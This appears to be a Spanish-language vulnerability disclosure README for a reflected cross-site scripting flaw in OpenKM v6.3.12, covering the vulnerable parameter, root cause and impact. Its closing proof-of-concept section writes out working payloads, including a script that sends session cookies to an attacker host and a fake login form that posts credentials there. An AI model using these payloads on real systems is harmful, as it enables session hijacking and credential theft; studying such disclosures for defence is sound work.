
Documentación y prueba de concepto para CVE-2026-30502, una vulnerabilidad XSS reflejado en OpenKM v6.3.12. Incluye análisis técnico, causa raíz, evaluación de impacto y orientación de remediación para investigadores de seguridad y probadores de penetración.
Descubierto e informado por Dharmendra Kumar — Investigador de Seguridad
Ciberseguridad | Pruebas de Penetración | Investigación de Vulnerabilidades | Divulgación Responsable
Este repositorio documenta la divulgación responsable de CVE-2026-30502, una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) identificada en OpenKM v6.3.12 — un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales y gubernamentales.
La vulnerabilidad existe en el parámetro Content, que refleja la entrada proporcionada por el usuario de vuelta al navegador sin una sanitización o codificación de salida adecuada. Un atacante puede crear una URL maliciosa que contenga JavaScript incrustado y engañar a una víctima para que haga clic en ella, lo que resulta en la ejecución del script dentro de la sesión del navegador de la víctima.
⚠️ Gravedad: Medio–Alto | Vector de Ataque: Red | Privilegios Requeridos: Ninguno | Interacción del Usuario: Requerida
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-30502 |
| Producto | OpenKM |
| Versión Afectada | v6.3.12 |
| Clase de Vulnerabilidad | Cross-Site Scripting Reflejado (XSS) |
| Parámetro Vulnerable | Content |
| CWE | CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Gravedad | Medio–Alto |
| Editor | Programa CVE de MITRE |
| Investigador | Dharmendra Kumar |
| Tipo de Divulgación | Responsable / Coordinada |
OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas en todo el mundo.
v6.3.12Se identificó una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) en OpenKM v6.3.12 a través del parámetro Content. La aplicación no valida ni codifica la entrada proporcionada por el usuario antes de reflejarla en el cuerpo de la respuesta HTTP, lo que permite inyectar y ejecutar JavaScript arbitrario en el navegador de la víctima.
A diferencia del XSS Almacenado, la carga útil del XSS Reflejado no se persiste en la base de datos — en su lugar, viaja dentro de una URL manipulada. El ataque depende de que la víctima sea engañada para hacer clic en un enlace malicioso (entregado por correo electrónico, redes sociales o campañas de phishing), tras lo cual la carga útil se ejecuta silenciosamente en su navegador con el contexto de la sesión de la víctima.
El atacante crea una URL maliciosa
│
▼
La víctima hace clic en el enlace (phishing / ingeniería social)
│
▼
El navegador envía una solicitud GET/POST con la carga útil en el parámetro `Content`
│
▼
OpenKM refleja la entrada sin sanitizar directamente en la respuesta HTML
│
▼
El navegador analiza y ejecuta el JavaScript inyectado
│
▼
Sesión secuestrada / credenciales robadas / cuenta comprometida
La vulnerabilidad se debe a que la aplicación no aplica controles de seguridad de entrada-salida en el parámetro Content:
| Debilidad | Descripción |
|---|---|
| ❌ Sin Validación de Entrada | El parámetro Content acepta caracteres HTML/JavaScript sin restricción ni filtrado |
| ❌ Sin Codificación de Salida | Los valores reflejados se escriben en la respuesta HTML sin codificación de entidades HTML |
| ❌ Falta de Cabecera CSP | No se aplica una Política de Seguridad de Contenido para bloquear la ejecución de scripts en línea |
| ❌ Sin Cookies HTTPOnly | Los tokens de sesión son accesibles vía JavaScript, permitiendo el robo directo de cookies |
URL creada por el usuario ──► Parámetro Content ──► [SIN Validación]
──► Reflejado en la Respuesta HTML ──► [SIN Codificación]
──► El Navegador Ejecuta el Script ──► Cuenta Comprometida
Una explotación exitosa de esta vulnerabilidad puede llevar a:
| Riesgo | Descripción |
|---|---|
| 🍪 Secuestro de Sesión | Robar tokens de sesión activos mediante document.cookie para suplantar a la víctima |
| 🔑 Robo de Credenciales | Inyectar superposiciones falsas de inicio de sesión para capturar nombres de usuario y contraseñas en texto plano |
| 📤 Divulgación de Información | Exfiltrar contenido de documentos sensibles, datos de usuario o configuraciones internas |
| 🎣 Ataques de Phishing | Servir páginas falsas convincentes alojadas dentro del dominio confiable de OpenKM |
| 👤 Toma de Cuentas | Realizar acciones autenticadas arbitrarias en nombre de la víctima |
| ⚙️ Acciones No Autorizadas | Modificar, eliminar o exfiltrar documentos dentro del DMS |
| 🖥️ Distribución de Malware | Redirigir a las víctimas a sitios controlados por el atacante que alojan descargas maliciosas |
⚠️ Aviso: La siguiente información se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No pruebe ni utilice esto contra sistemas que no posea o para los cuales no tenga autorización explícita por escrito.
// Prueba básica de ejecución
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Exfiltración de cookie de sesión
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Superposición de phishing de credenciales
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Usuario"/>'
+'<input name="p" type="password" placeholder="Contraseña"/>'
+'<button>Iniciar Sesión</button></form>';
document.body.prepend(d);
</script>
https://instancia-openkm-objetivo/[endpoint-vulnerable]?Content=<script>alert(1)</script>